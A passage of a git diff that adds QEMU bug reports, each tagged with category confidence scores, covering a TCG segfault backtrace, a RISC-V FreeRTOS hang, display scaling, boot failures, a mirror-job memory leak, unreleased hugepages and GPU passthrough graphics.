/root/.cache/debuginfod_client/8a914905acea217452c928c2e200afceb83341c5/debuginfo... +Downloading separate debug info for /lib64/libgcc_s.so.1... +Downloading separate debug info for /root/.cache/debuginfod_client/ef4c928f1372ad155fea761f0e840ecd264fb153/debuginfo... +Downloading separate debug info for /lib64/libc.so.6... +Downloading separate debug info for /lib64/libp11-kit.so.0... +Downloading separate debug info for /root/.cache/debuginfod_client/b935d795aaf6f8cbc392c922b6c97a4c8db44c41/debuginfo... +Downloading separate debug info for /lib64/libidn2.so.0... +Downloading separate debug info for /root/.cache/debuginfod_client/958c50fc94ecb196b24f3619762e7ec3f28a5b40/debuginfo... +Downloading separate debug info for /lib64/libunistring.so.2... +Downloading separate debug info for /lib64/libtasn1.so.6... +Downloading separate debug info for /lib64/libnettle.so.8... +Downloading separate debug info for /root/.cache/debuginfod_client/0dd622456d9a5330679490d3bd9d812582d9f9d3/debuginfo... +Downloading separate debug info for /lib64/libhogweed.so.6... +Downloading separate debug info for /lib64/libcrypt.so.2... +Downloading separate debug info for /root/.cache/debuginfod_client/6ce4e5eb200e61d07398af52f8bcb316cf8466e0/debuginfo... +Downloading separate debug info for /lib64/libgssapi_krb5.so.2... +Downloading separate debug info for /root/.cache/debuginfod_client/5ce5f00c8b502e99ab96853950db60f97a710b28/debuginfo... +Downloading separate debug info for /lib64/libkrb5.so.3... +Downloading separate debug info for /lib64/libk5crypto.so.3... +Downloading separate debug info for /lib64/libcom_err.so.2... +Downloading separate debug info for /root/.cache/debuginfod_client/2313e22f074e5b67e97bb22e01a722cc727512b1/debuginfo... +Downloading separate debug info for /lib64/libstdc++.so.6... +Downloading separate debug info for /lib64/libndctl.so.6... +Downloading separate debug info for /root/.cache/debuginfod_client/e2e24fd2c7061434b2a0cc849cdcd2854a4a0557/debuginfo... +Downloading separate debug info for /lib64/libdaxctl.so.1... +Downloading separate debug info for /lib64/libmount.so.1... +Downloading separate debug info for /root/.cache/debuginfod_client/98bababfe2b3d1d0ca128831439521f2b5b7aa95/debuginfo... +Downloading separate debug info for /lib64/libselinux.so.1... +Downloading separate debug info for /root/.cache/debuginfod_client/bdc4adbb0901b548f448d6f0d92b49c352e3b9f6/debuginfo... +Downloading separate debug info for /lib64/libffi.so.8... +Downloading separate debug info for /lib64/libpcre.so.1... +Downloading separate debug info for /root/.cache/debuginfod_client/cffb947bcc416dca3cd249cdb0a1c6f614549c30/debuginfo... +Downloading separate debug info for /lib64/libnl-3.so.200... +Downloading separate debug info for /root/.cache/debuginfod_client/22262a5a1956360f9f4c1daa89e592b1be03cd14/debuginfo... +Downloading separate debug info for /lib64/libnl-route-3.so.200... +Downloading separate debug info for /lib64/libkrb5support.so.0... +Downloading separate debug info for /lib64/libkeyutils.so.1... +Downloading separate debug info for /root/.cache/debuginfod_client/5f6459dcec3e266d994b8d4e5b23507c4c0df11e/debuginfo... +Downloading separate debug info for /lib64/libcrypto.so.3... +Downloading separate debug info for /root/.cache/debuginfod_client/fb8a738ffca8bdbe3172c842ee9d56f969516473/debuginfo... +Downloading separate debug info for /lib64/libuuid.so.1... +Downloading separate debug info for /lib64/libkmod.so.2... +Downloading separate debug info for /root/.cache/debuginfod_client/9057cef69769e25914be12563e5d821aef1bd9cb/debuginfo... +Downloading separate debug info for /lib64/libblkid.so.1... +Downloading separate debug info for /lib64/libpcre2-8.so.0... +Downloading separate debug info for /root/.cache/debuginfod_client/10357f8fa75891b03cd08344d56efa49ad9d607f/debuginfo... +Downloading separate debug info for /lib64/libcap.so.2... +Downloading separate debug info for /root/.cache/debuginfod_client/94e5c930fa02b381df948b2d2909d96da9f31407/debuginfo... +Downloading separate debug info for /lib64/libzstd.so.1... +Downloading separate debug info for /root/.cache/debuginfod_client/f0c68ad1b3f8941857af47c6887736d835317ccc/debuginfo... +Downloading separate debug info for /lib64/liblzma.so.5... +Downloading separate debug info for /usr/libexec/../lib64/qemu-kvm/accel-tcg-x86_64.so... +Downloading separate debug info for /root/systemd/system-supplied DSO at 0x7ffd4cb6b000... +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/lib64/libthread_db.so.1". +Core was generated by `/bin/qemu-system-x86_64 -smp 8 -net none -m 768M -nographic -kernel /boot/vmlin'. +Program terminated with signal SIGSEGV, Segmentation fault. +#0 memory_region_get_iommu (mr=0x418c0fdb85f05d8b) + at /usr/src/debug/qemu-kvm-8.2.0-2.el9.x86_64/include/exec/memory.h:1715 +Downloading source file /usr/src/debug/qemu-kvm-8.2.0-2.el9.x86_64/include/exec/memory.h... +1715 if (mr->alias) { +[Current thread is 1 (Thread 0x7fe033fff640 (LWP 1154728))] +(gdb) (gdb) #0 memory_region_get_iommu (mr=0x418c0fdb85f05d8b) + at /usr/src/debug/qemu-kvm-8.2.0-2.el9.x86_64/include/exec/memory.h:1715 + addr = 18446603473123421792 + d = 0x7fe03c135150 + section = 0x7fe03c621e70 + imrc = <optimized out> + iommu_idx = <optimized out> + iotlb = { + target_as = <optimized out>, + iova = <optimized out>, + translated_addr = <optimized out>, + addr_mask = <optimized out>, + perm = <optimized out> + } +#1 address_space_translate_for_iotlb + (cpu=0x55766c32c480, asidx=<optimized out>, orig_addr=472023040, xlat=0x7fe048df9ea0, plen=0x7fe048df9e98, attrs=..., prot=0x7fe048df9e94) + at ../system/physmem.c:688 + addr = 18446603473123421792 + d = 0x7fe03c135150 + section = 0x7fe03c621e70 + imrc = <optimized out> + iommu_idx = <optimized out> + iotlb = { + target_as = <optimized out>, + iova = <optimized out>, + translated_addr = <optimized out>, + addr_mask = <optimized out>, + perm = <optimized out> + } +#2 0x00005576693d149f in tlb_set_page_full + (cpu=0x55766c32c480, mmu_idx=<optimized out>, addr=18446741874686296064, full=0x7fe048df9ed8) at ../accel/tcg/cputlb.c:1140 + sz = 4096 + addr_page = 18446741874686296064 + paddr_page = 472023040 + prot = 1 + asidx = -536727968 + xlat = 18599936 + section = <optimized out> + read_flags = <optimized out> + is_romd = <optimized out> + addend = <optimized out> + write_flags = <optimized out> + iotlb = <optimized out> + wp_flags = <optimized out> + index = <optimized out> + te = <optimized out> + tn = { + { + addr_read = <optimized out>, + addr_write = <optimized out>, + addr_code = <optimized out>, + addend = <optimized out> + }, + addr_idx = {<optimized out>, <optimized out>, <optimized out>, <optimized out>} + } +#3 0x0000557669248a18 in tlb_set_page_with_attrs + (cpu=0x55766c32c480, addr=18446741874686296064, paddr=<optimized out>, attrs=..., prot=<optimized out>, mmu_idx=0, size=<optimized out>) + at ../accel/tcg/cputlb.c:1290 + out = { + paddr = 472027056, + prot = 1, + page_size = 4096 + } + err = { + exception_index = 472064000, + error_code = 0, + cr2 = 13915309287368685568, + stage2 = (unknown: 0x1c232b28) + } + env = <optimized out> +#4 x86_cpu_tlb_fill + (cs=0x55766c32c480, addr=<optimized out>, size=<optimized out>, access_type=MMU_DATA_LOAD, mmu_idx=0, probe=<optimized out>, retaddr=0) + at ../target/i386/tcg/sysemu/excp_helper.c:610 + out = { + paddr = 472027056, + prot = 1, + page_size = 4096 + } + err = { + exception_index = 472064000, + error_code = 0, + cr2 = 13915309287368685568, + stage2 = (unknown: 0x1c232b28) + } + env = <optimized out> +#5 0x00005576693db519 in tlb_fill + (addr=18446741874686300080, size=-2047844981, access_type=MMU_DATA_LOAD, mmu_idx=0, retaddr=0, cpu=<optimized out>) at ../accel/tcg/cputlb.c:1315 + ok = <optimized out> + addr = 18446741874686300080 + index = <optimized out> + entry = 0x7fe028017080 + tlb_addr = <optimized out> + maybe_resized = false + full = <optimized out> + flags = <optimized out> +#6 mmu_lookup1 + (cpu=<optimized out>, data=0x7fe048df9f00, mmu_idx=0, access_type=MMU_DATA_LOAD, ra=0) at ../accel/tcg/cputlb.c:1713 + addr = 18446741874686300080 + index = <optimized out> + entry = 0x7fe028017080 + tlb_addr = <optimized out> + maybe_resized = false + full = <optimized out> + flags = <optimized out> +#7 0x00005576693db31b in mmu_lookup + (cpu=0x55766c32c480, addr=18446741874686300080, oi=<optimized out>, ra=0, type=MMU_DATA_LOAD, l=0x7fe048df9f00) at ../accel/tcg/cputlb.c:1803 + a_bits = <optimized out> + flags = <optimized out> +#8 0x00005576693d3173 in do_ld4_mmu + (cpu=0x7fe03c135150, addr=18446603473123421792, oi=2247122315, ra=140601056453952, access_type=MMU_DATA_LOAD) at ../accel/tcg/cputlb.c:2416 + l = { + page = {{ + full = 0x1c232000, + haddr = 0xc0700000000, + addr = 18446741874686300080, + flags = 88995840, + size = 4 + }, { + full = 0x7fe033fff458, + haddr = 0xc11d1c12054df800, + addr = 18446741874686296064, + flags = 88995840, + size = 0 + }}, + memop = MO_32, + mmu_idx = 0 + } + crosspage = <optimized out> + ret = <optimized out> +#9 0x00005576692d44cf in cpu_ldl_mmu + (env=0x55766c32ec30, addr=18446741874686300080, oi=2247122315, ra=0) + at ../accel/tcg/ldst_common.c.inc:158 + oi = 2247122315 + has_error_code = <optimized out> + old_eip = 18446744072005078059 + dt = 0x55766c32edc0 + ptr = 18446741874686300080 + e1 = <optimized out> + e2 = <optimized out> + e3 = <optimized out> + type = <optimized out> + dpl = <optimized out> + cpl = <optimized out> + selector = <optimized out> + offset = <optimized out> + ist = <optimized out> + new_stack = <optimized out> + esp = <optimized out> + ss = <optimized out> + count = 0 + env = 0x55766c32ec30 +#10 cpu_ldl_le_mmuidx_ra + (env=0x55766c32ec30, addr=18446741874686300080, mmu_idx=<optimized out>, ra=0) at ../accel/tcg/ldst_common.c.inc:294 + oi = 2247122315 + has_error_code = <optimized out> + old_eip = 18446744072005078059 + dt = 0x55766c32edc0 + ptr = 18446741874686300080 + e1 = <optimized out> + e2 = <optimized out> + e3 = <optimized out> + type = <optimized out> + dpl = <optimized out> + cpl = <optimized out> + selector = <optimized out> + offset = <optimized out> + ist = <optimized out> + new_stack = <optimized out> + esp = <optimized out> + ss = <optimized out> + count = 0 + env = 0x55766c32ec30 +#11 do_interrupt64 + (env=0x55766c32ec30, intno=251, is_int=0, error_code=0, next_eip=<optimized out>, is_hw=<optimized out>) at ../target/i386/tcg/seg_helper.c:889 + has_error_code = <optimized out> + old_eip = 18446744072005078059 + dt = 0x55766c32edc0 + ptr = 18446741874686300080 + e1 = <optimized out> + e2 = <optimized out> + e3 = <optimized out> + type = <optimized out> + dpl = <optimized out> + cpl = <optimized out> + selector = <optimized out> + offset = <optimized out> + ist = <optimized out> + new_stack = <optimized out> + esp = <optimized out> + ss = <optimized out> + count = 0 + env = 0x55766c32ec30 +#12 do_interrupt_all + (cpu=0x55766c32c480, intno=251, is_int=0, error_code=0, next_eip=<optimized out>, is_hw=<optimized out>) at ../target/i386/tcg/seg_helper.c:1130 + count = 0 + env = 0x55766c32ec30 +#13 0x000055766924f605 in do_interrupt_x86_hardirq + (env=<optimized out>, intno=<optimized out>, is_hw=<optimized out>) + at ../target/i386/tcg/seg_helper.c:1162 + cpu = 0x55766c32c480 + env = <optimized out> + intno = <optimized out> +#14 0x000055766924f605 in x86_cpu_exec_interrupt () +#15 0x00005576693bdc25 in cpu_handle_interrupt + (cpu=0x55766c32c480, last_tb=<optimized out>) + at ../accel/tcg/cpu-exec.c:865 + cc = <optimized out> + interrupt_request = 2 + last_tb = <optimized out> + tb_exit = <optimized out> + ret = <optimized out> +#16 cpu_exec_loop (cpu=0x55766c32c480, sc=0x7fe048df9fb0) + at ../accel/tcg/cpu-exec.c:974 + last_tb = <optimized out> + tb_exit = <optimized out> + ret = <optimized out> +#17 0x00005576693bcee1 in cpu_exec_setjmp + (cpu=0x55766c32c480, sc=0x7fe048df9fb0) at ../accel/tcg/cpu-exec.c:1058 +#18 0x00005576693bcd64 in cpu_exec (cpu=0x55766c32c480) + at ../accel/tcg/cpu-exec.c:1084 + sc = { + diff_clk = 0, + last_cpu_icount = 0, + realtime_clock = 0 + } + ret = <optimized out> +#19 0x00007fe0c5e4011c in tcg_cpus_exec (cpu=0x55766c32c480) + at ../accel/tcg/tcg-accel-ops.c:76 + ret = <optimized out> + r = <optimized out> + force_rcu = { + notifier = { + notify = 0x7fe0c5e40250 <mttcg_force_rcu>, + node = { + le_next = 0x0, + le_prev = 0x7fe033fff478 + } + }, + cpu = 0x55766c32c480 + } +#20 mttcg_cpu_thread_fn (arg=0x55766c32c480) + at ../accel/tcg/tcg-accel-ops-mttcg.c:95 + r = <optimized out> + force_rcu = { + notifier = { + notify = 0x7fe0c5e40250 <mttcg_force_rcu>, + node = { + le_next = 0x0, + le_prev = 0x7fe033fff478 + } + }, + cpu = 0x55766c32c480 + } +#21 0x0000557669662ada in qemu_thread_start (args=0x55766c3a1870) + at ../util/qemu-thread-posix.c:541 + __clframe = { + __cancel_routine = <optimized out>, + __cancel_arg = 0x0, + __do_it = 1, + __cancel_type = <synthetic pointer> + } + qemu_thread_args = 0x55766c3a1870 + start_routine = 0x7fe0c5e40000 <mttcg_cpu_thread_fn> + arg = 0x55766c32c480 + r = <optimized out> +#22 0x00007fe0c68a1912 in start_thread (arg=<optimized out>) + at pthread_create.c:443 + ret = <optimized out> + pd = <optimized out> + unwind_buf = { + cancel_jmp_buf = {{ + jmp_buf = {140725889877392, 270352123062618637, 140600921814592, 0, 140603380340288, 0, -288199396121933299, -287677566653593075}, + mask_was_saved = 0 + }}, + priv = { + pad = {0x0, 0x0, 0x0, 0x0}, + data = { + prev = 0x0, + cleanup = 0x0, + canceltype = 0 + } + } + } + not_first_call = <optimized out> +#23 0x00007fe0c683f450 in clone3 () + at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81 +``` + +Also, a couple runs failed with: +``` ++ /usr/libexec/qemu-kvm -smp 8 -net none -m 768M -nographic -kernel /boot/vmlinuz-5.14.0-427.el9.x86_64 -drive format=raw,cache=unsafe,file=/var/tmp/systemd-test.7FKAS9/basic.img -device virtio-rng-pci,max-bytes=1024,period=1000 -cpu Nehalem -initrd /var/tmp/ci-sanity-initramfs-5.14.0-390.el9.x86_64.img -append 'root=LABEL=systemd_boot rw raid=noautodetect rd.luks=0 loglevel=2 init=/usr/lib/systemd/systemd console=ttyS0 SYSTEMD_UNIT_PATH=/usr/lib/systemd/tests/testdata/testsuite-01.units:/usr/lib/systemd/tests/testdata/units: systemd.unit=testsuite.target systemd.wants=testsuite-01.service oops=panic panic=1 softlockup_panic=1 systemd.wants=end.service debug systemd.log_level=debug rd.systemd.log_target=console systemd.default_standard_output=journal+console systemd.unified_cgroup_hierarchy=1 systemd.legacy_systemd_cgroup_controller=0 +' +Could not access KVM kernel module: No such file or directory +qemu-kvm: failed to initialize kvm: No such file or directory +qemu-kvm: falling back to tcg +qemu-kvm: warning: Machine type 'pc-i440fx-rhel7.6.0' is deprecated: machine types for previous major releases are deprecated +c[?7l[2J[0mSeaBIOS (version 1.16.3-2.el9) +Booting from ROM... +early console in setup codae +Probing EDD (edd=off to disable)... oc[?7l[2J[0mk +[ 0.000000] Linux version 5.14.0-427.el9.x86_64 (mockbuild@x86-05.stream.rdu2.redhat.com) (gcc (GCC) 11.4.1 20231218 (Red Hat 11.4.1-3), GNU ld version 2.35.2-42.el9) #1 SMP PREEMPT_DYNAMIC Fri Feb 23 04:45:07 UTC 2024 +... +[ 2.152522] pci 0000:00:02.0: reg 0x30: [mem 0xfebe0000-0xfebeffff pref] +[ 2.153914] pci 0000:00:02.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff] +[ 2.156615] pci 0000:00:03.0: [1af4:1005] type 00 class 0x00ff00 +[ 2.159388] pci 0000:00:03.0: reg 0x10: [io 0xc000-0xc01f] +qemu-kvm: ../system/memory.c:2424: void *memory_region_get_ram_ptr(MemoryRegion *): Assertion `mr->ram_block' failed. +/bin/qemu-system-x86_64: line 4: 137172 Aborted (core dumped) "/usr/libexec/qemu-kvm" "$@" +``` + +I'm not sure if the two issues are related, or if the assertion is something completely different. +Steps to reproduce: +I, unfortunately, don't have any concrete steps to reproduce the issue, it happens randomly throughout CI runs. However, when needed, I can reproduce the issue in some reliable-ish manner by running the integration tests in a loop (the issue manifests itself usually in a couple of hours in this case). +Additional information: + diff --git a/results/classifier/108/graphic/2223 b/results/classifier/108/graphic/2223 new file mode 100644 index 000000000..ff1e45af6 --- /dev/null +++ b/results/classifier/108/graphic/2223 @@ -0,0 +1,50 @@ +graphic: 0.966 +PID: 0.914 +device: 0.888 +files: 0.887 +permissions: 0.857 +socket: 0.802 +performance: 0.795 +vnc: 0.794 +semantic: 0.766 +debug: 0.755 +other: 0.730 +network: 0.680 +boot: 0.662 +KVM: 0.312 + +Weird behavior on RISC-V code running on QEMU +Description of problem: +I am currently facing some weird problems on a RISC-V project meant to run on the QEMU environment and thought that maybe someone here could give me a light on the subject. The goal is to run a project built on top of one of FreeRTOS' official demo ports that target the 'virt' QEMU board. I ran across a few weird behaviors where code execution would just hang at some point (QEMU would keep execution but the expected terminal output would never come up). I don't have sufficient knowledge to tell whether the issue is with the FreeRTOS port, the RISC-V gnu toolchain or QEMU itself, hence why I am raising my hand for help on all related channels. + +This [repository](https://bitbucket.org/softcps-investigacao-risc-v/freertos-riscv-bugs/src/master/) contains more details and a sample project that illustrates well one of the problems I've been getting lately (I also give more context about it [here](https://github.com/riscv-collab/riscv-gnu-toolchain/issues/1434)). It basically goes like this: the program **executes fine** when a certain code snippet is encapsulated **within a function**, but "**crashes**" (i.e. hangs) when the same snippet is placed **directly in the main code**: + +```c +for(int i=0; i < NUMBER_OF_ITEMS; i++){ + createAndPushItem(i); + + // the function above does the exact same thing as the commented code below + // yet, the commented code does not work and will crash the program. but why?? + + // int index = priorities[i]; + // void *value = (void *) getValue(i + 1); + // LinkedListItem_t *item = createItem(index, value); + // if(item){ + // push(item, &list); + // } +} +``` + +The scope shouldn't matter at all here, since there is no local variable being used or anything like that. I have tested workarounds like removing compiling optimization (i.e. changing -Os for -O0) and using regular malloc() instead of FreeRTOS' dynamic allocation API, but all without success. Note that even though the project is build on top of the FreeRTOS demo port, no RTOS functionality is used within this code to make it as simple as it gets. +Steps to reproduce: +1. clone this [repository](https://bitbucket.org/softcps-investigacao-risc-v/freertos-riscv-bugs/src/master/) +2. follow the readme to install the toolchain +3. follow the readme to compile the program and run it +Additional information: +The expected output is supposed to be: + + + +but when one decides to use the commented snippet instead of the function, the program hangs right before sorting the linked list for the first time: + + diff --git a/results/classifier/108/graphic/2231 b/results/classifier/108/graphic/2231 new file mode 100644 index 000000000..7a3f7419c --- /dev/null +++ b/results/classifier/108/graphic/2231 @@ -0,0 +1,29 @@ +graphic: 0.968 +device: 0.878 +performance: 0.736 +vnc: 0.681 +semantic: 0.666 +KVM: 0.539 +other: 0.525 +network: 0.410 +debug: 0.399 +PID: 0.376 +socket: 0.351 +permissions: 0.342 +boot: 0.315 +files: 0.105 + +GNOME/Mutter - Wayland Fractional Scaling Breaks VM Resolution +Description of problem: +VMs are rendered at a higher resolution than the pixel count of their window, seemingly because mutter is upscaling for fractional scaling. +Steps to reproduce: +1. Enable GNOME Mutter experimental fractional scaling +2. Launch VM +Additional information: +This only occurs when wayland fractional scaling is enabled, not when text is scaled. Since GNOME/mutter accomplishes fractional scaling by upscaling, I think the VM is being told its window has a higher resolution than it actually has, so it is rendering the VM at a higher resolution, which is then displayed at the display's real resolution. + +In the screenshot below, my resolution is 2256 x 1504 and I have set fractional scaling to 125%. It is worth noting (2256 / 1.25) / 3606 is approximately 0.5. + + + +I apologize if the report is unsatisfactory. I will provide more detail if instructed. I tried reporting to GNOME Boxes and Virt-manager, which both use QEMU, but it seems the problem is upstream. diff --git a/results/classifier/108/graphic/2235 b/results/classifier/108/graphic/2235 new file mode 100644 index 000000000..8dc8b2afd --- /dev/null +++ b/results/classifier/108/graphic/2235 @@ -0,0 +1,72 @@ +graphic: 0.986 +semantic: 0.984 +debug: 0.980 +permissions: 0.973 +device: 0.968 +performance: 0.963 +PID: 0.961 +other: 0.960 +vnc: 0.951 +socket: 0.932 +KVM: 0.923 +boot: 0.904 +files: 0.887 +network: 0.825 + +Hiren's Bootcd PE LiveCD not booting in windows qemu +Description of problem: +Hiren's Bootcd PE LiveCD not booting up in windows qemu. +PE stands for pre-execution environment which is like a minimal boot environment like windows-recovery. +The ram drive it makes is about 3.5 GiB. +Being able to boot something like Hiren BootCD PE is like a simple test of qemu. + +I've tried many things, but I can't figure out if it's because I can't get the arguments right or if it is because of something else. + +So far, using windows-qemu, I have not tried to boot a win10-guest-OS on win10 host-OS. +Steps to reproduce: +1. Try to start qemu as per command. Try figure out what the right arguments/options are. + +The live cd boot process is as follows +1. First the livecd bootloader loads files from the cdrom and unpacks them into a ramdrive + During this phase, in the taskmgr it can be seen that the memory of the qemu process grows to about 1.5 GiB +2. Then the boot process should transfer to the unpacked OS in the ramdrive. + In the center of the screen, if one is doing efi-boot, then one can see the tianocore logo, else if one is doing legacy boot, then one can see the windows logo. + The windows loading animation, dots in circle, does not start. In some boot attempts, it seems to have put only 1 dot, in other boot attempts nothing at all. + Even after the expansion phase, the qemu process in the taskmgr shows a 11% use (which 1 cpu in a hyperthreading i7 quadcore cpu). + This means emulator is doing something. But, despite waiting for a long time, nothing seems to happen in the guest-display-window. + +``` +PS F:\> dir D:\bootable\hb*.iso + + Directory: D:\bootable + +Mode LastWriteTime Length Name +---- ------------- ------ ---- +-a--- 9/17/2021 7:29 PM 3099203584 HBCD_PE_x64_v1.0.2_20210701.iso +-a--- 3/13/2024 4:45 PM 3291686912 HBCD_PE_x64_v1.0.8_20240305.iso + +PS F:\> Get-FileHash -Algorithm SHA256 D:\bootable\HBCD_PE_x64_v1.0.2_20210701.iso + +Algorithm Hash Path +--------- ---- ---- +SHA256 8281107683E81BE362AFD213026D05B2219BC6A7CA9AF4D2856663F3FFC17BFD D:\bootable\HBCD_PE_x64_v1.0.2_… + +PS F:\> Get-FileHash -Algorithm SHA256 D:\bootable\HBCD_PE_x64_v1.0.8_20240305.iso + +Algorithm Hash Path +--------- ---- ---- +SHA256 8C4C670C9C84D6C4B5A9C32E0AA5A55D8C23DE851D259207D54679EA774C2498 D:\bootable\HBCD_PE_x64_v1.0.8_… + +PS F:\> Get-Content D:\bootable\HBCD_PE_x64_v1.0.2_20210701.iso.sha256 +8281107683E81BE362AFD213026D05B2219BC6A7CA9AF4D2856663F3FFC17BFD HBCD_PE_x64_v1.0.2_20210701.iso +PS F:\> Get-Content D:\bootable\HBCD_PE_x64_v1.0.8_20240305.iso.sha256 +8c4c670c9c84d6c4b5a9c32e0aa5a55d8c23de851d259207d54679ea774c2498 HBCD_PE_x64_v1.0.8_20240305.iso +``` +Additional information: +- https://www.hirensbootcd.org/download/ +- method to create the bios file is explained in #2233 +- I have booted into v1.0.2 in native, so I know v1.0.2 works. +- I have tried qemu with and without EFI bios. +- The more recent v1.0.8 released on 20240305 is Win11 PE based (>22621) +- Virtualbox-7.0.14 is able to boot HBCDPE as normal, but with EFI disabled, and not when enabled. +- As of this issue creation, not yet checked whether under Linux if qemu-kvm can boot HBCDPE. diff --git a/results/classifier/108/graphic/2237 b/results/classifier/108/graphic/2237 new file mode 100644 index 000000000..f8b2d2f10 --- /dev/null +++ b/results/classifier/108/graphic/2237 @@ -0,0 +1,54 @@ +semantic: 0.943 +graphic: 0.935 +other: 0.872 +PID: 0.846 +device: 0.838 +vnc: 0.822 +performance: 0.817 +KVM: 0.797 +socket: 0.783 +debug: 0.741 +network: 0.740 +permissions: 0.691 +files: 0.685 +boot: 0.620 + +mirror block job memory leak +Description of problem: +After creating a background mirror job, and then the connection to the mirror target storage be interrupted and writing cannot be performed, the qemu process memory will increase significantly every time the mirror job performs a write. When the target stroage is restored, the data writing will be completed normally, but the memory will not be reduced. +Steps to reproduce: +1. start a virtual machine with libvirt(virsh start file) +2. add a target mirror block dev, configure io timeout to 2 sec(virsh qemu-monitor-command file --pretty '{"execute": "blockdev-add", "arguments": {"driver": "raw", "cache": {"direct": true}, "node-name": "node-target","file": {"driver": "rbd", "conf":"/etc/ceph/ceph.node53.conf", "pool": "test", "image": "rbd1", "auth-client-required": ["none"], "server": [{"host": "10.0.12.53", "port": "6789"}]}}}') +3. create a background mirror block job(virsh qemu-monitor-command file --pretty '{ "execute": "blockdev-mirror", "arguments": {"device": "libvirt-1-format", "target": "node-target", "sync": "full", "copy-mode": "background", "on-target-error": "ignore", "job-id": "job0"}}') +4. wait for the initial full synchronization to complete +5. write a large number of random ios in the virtual machine with the fio program(fio -filename=/dev/vdb -direct=1 -iodepth 1 -thread -rw=randwrite -ioengine=psync -bs=4k -size=4G -numjobs=1 -runtime=300 -group_reporting -name=sep) +6. break the connection with the remote storage or shutdown the remote storage while fio program is running(if the connection is interrupted first and then written io, the probability of reproduce is very low) +7. qemu will report an error indicating that io writing failed and try to write again(qemu-kvm: rbd request failed: cmd 1 offset 1421803520 bytes 1048576 flags 0 task.ret -110 (Connection timed out)) +8. use the numastat command to continuously observe the memory usage of the process and find that the heap memory has increased significantly. + +``` +Per-node process memory usage (in MBs) for PID 946492 (qemu-kvm) + Node 0 Total + --------------- --------------- +Huge 2048.00 2048.00 +Heap 2698.13 2698.13 +Stack 0.71 0.71 +Private 781.48 781.48 +---------------- --------------- --------------- +Total 5528.32 5528.32 + +after a while + +Per-node process memory usage (in MBs) for PID 1059068 (qemu-kvm) + Node 0 Total + --------------- --------------- +Huge 2048.00 2048.00 +Heap 21769.94 21769.94 +Stack 0.71 0.71 +Private 827.22 827.22 +---------------- --------------- --------------- +Total 24645.87 24645.87 +``` +Additional information: +libvirt xml: +[file.xml](/uploads/82ff2e410183f94fde7cbaf19e7911dc/file.xml) diff --git a/results/classifier/108/graphic/2242 b/results/classifier/108/graphic/2242 new file mode 100644 index 000000000..1bee456c5 --- /dev/null +++ b/results/classifier/108/graphic/2242 @@ -0,0 +1,29 @@ +graphic: 0.965 +KVM: 0.926 +device: 0.915 +semantic: 0.766 +performance: 0.679 +files: 0.608 +debug: 0.601 +network: 0.537 +permissions: 0.462 +vnc: 0.421 +PID: 0.398 +other: 0.345 +boot: 0.295 +socket: 0.209 + +Hugepages are not released after windows guest shutdown +Description of problem: +* Hugepages are not released after windows guest shutdown (tested with server 2019 and 2022), everything is ok with linux guests +* Issue is present in both cases: shutdown is initiated by guest, and with the qemu monitor command ``system_shutdown`` +* If the guest is configured with 4G as memory size, hugepages not released may vary but in most cases, only 1G are not released +* Host is a x86_64 linux system, with 1G hugepages only : kernel cmline contains ``default_hugepagesz=1G hugepagesz=1G hugepages=88`` +* I've done many tests with qemu components disabled (network, monitor, vnc), issue is still present with basic command line (launched as root) ``qemu-system-x86_64 -cpu host -enable-kvm -smp 4 -machine type=q35,accel=kvm -m 4G -mem-path /mnt/hugepages -drive id=drv0,file=win.qcow2 -nodefaults`` +* Same issue with args in command line, with or without prealloc: + + -m 4G -mem-path /mnt/hugepages [-mem-prealloc] + -m 4G -machine memory-backend=mem0 -object memory-backend-memfd,id=mem0,size=4G,hugetlb=on,hugetlbsize=1G[,prealloc=on] +Additional information: +* Hugepages release process is audited with command ``cat /proc/meminfo`` +* I can't find any online documentation to help to troubleshoot used hugepages : articles suggest to audit /proc/[pid]/smaps, but here, issue is raised after qemu process terminates diff --git a/results/classifier/108/graphic/2251 b/results/classifier/108/graphic/2251 new file mode 100644 index 000000000..fc4774577 --- /dev/null +++ b/results/classifier/108/graphic/2251 @@ -0,0 +1,29 @@ +graphic: 0.941 +boot: 0.922 +device: 0.854 +semantic: 0.791 +vnc: 0.667 +files: 0.665 +debug: 0.604 +permissions: 0.493 +PID: 0.468 +socket: 0.461 +performance: 0.296 +network: 0.198 +KVM: 0.073 +other: 0.056 + +Windows 11 VM with VBS enabled crashes +Description of problem: + +Steps to reproduce: +1. Run a Windows 11 VM on a node (both VM domain XML and node capabilities XML is provided below). +2. Enable VBS on the guest. For doing so you can use https://github.com/MicrosoftDocs/windows-itpro-docs/files/4020040/DG_Readinessv3.7.zip. Then, in Windows terminal, run DG_Readiness_Tool_{version}.ps1 -Enable. +3. Reboot the guest. +4. Windows cannot start (see picture below). +Additional information: +- Domain Capabilities: https://pastebin.com/GdQGQ639 +- VMX capabilities: https://pastebin.com/5nbUH0ev +- contents of /proc/cpuinfo: https://pastebin.com/xZM4x89z +- Domain XML: https://pastebin.com/s4VehTXK +- Windows crash at boot: https://ibb.co/Ny1xRbz diff --git a/results/classifier/108/graphic/2252 b/results/classifier/108/graphic/2252 new file mode 100644 index 000000000..1f0f011c2 --- /dev/null +++ b/results/classifier/108/graphic/2252 @@ -0,0 +1,26 @@ +graphic: 0.991 +performance: 0.991 +boot: 0.951 +device: 0.936 +files: 0.897 +semantic: 0.870 +vnc: 0.826 +other: 0.823 +PID: 0.793 +permissions: 0.764 +socket: 0.743 +debug: 0.701 +network: 0.603 +KVM: 0.322 + +Poor VGA graphics when passing through a graphics card to a BIOS guest using the x-vga flag +Description of problem: +When passing through a GPU (in my case an Nvidia RTX 2070 Super) to a guest with BIOS firmware (using the x-vga flag to get a display out in BIOS mode), the VGA graphics used before an operating system loads proper graphics drivers seems to perform very poorly. Some symptoms of this are: GRUB and Windows Boot Manager are invisible, only showing a black screen (not sure if it affects all bootloaders) Windows 7 falls back to the more basic Vista boot animation during startup instead of the proper Starting Windows + orbs animation Windows 7 while using VGA graphics looks very low quality, with a pixelated look and a low color depth (attached below in additional information) Windows 10's setup just shows a black screen and fails to even boot. It seems to just restart after a bit (with any potential errors being invisible) Once graphics drivers are loaded inside Windows 7 or Linux in the guest, everything works fine. Seems like it's a firmware bug maybe? + +I've tested, and QEMU version 8.1 seems to be the last version without this bug, as 8.2 and up all have this issue. I'm not sure if this affects all graphics cards, as I've only tested this on an RTX 2070 super. +Steps to reproduce: +1. Create a guest with SeaBIOS firmware +2. Pass through a graphics card using -vfio-pci +3. Enable the x-vga flag +Additional information: + diff --git 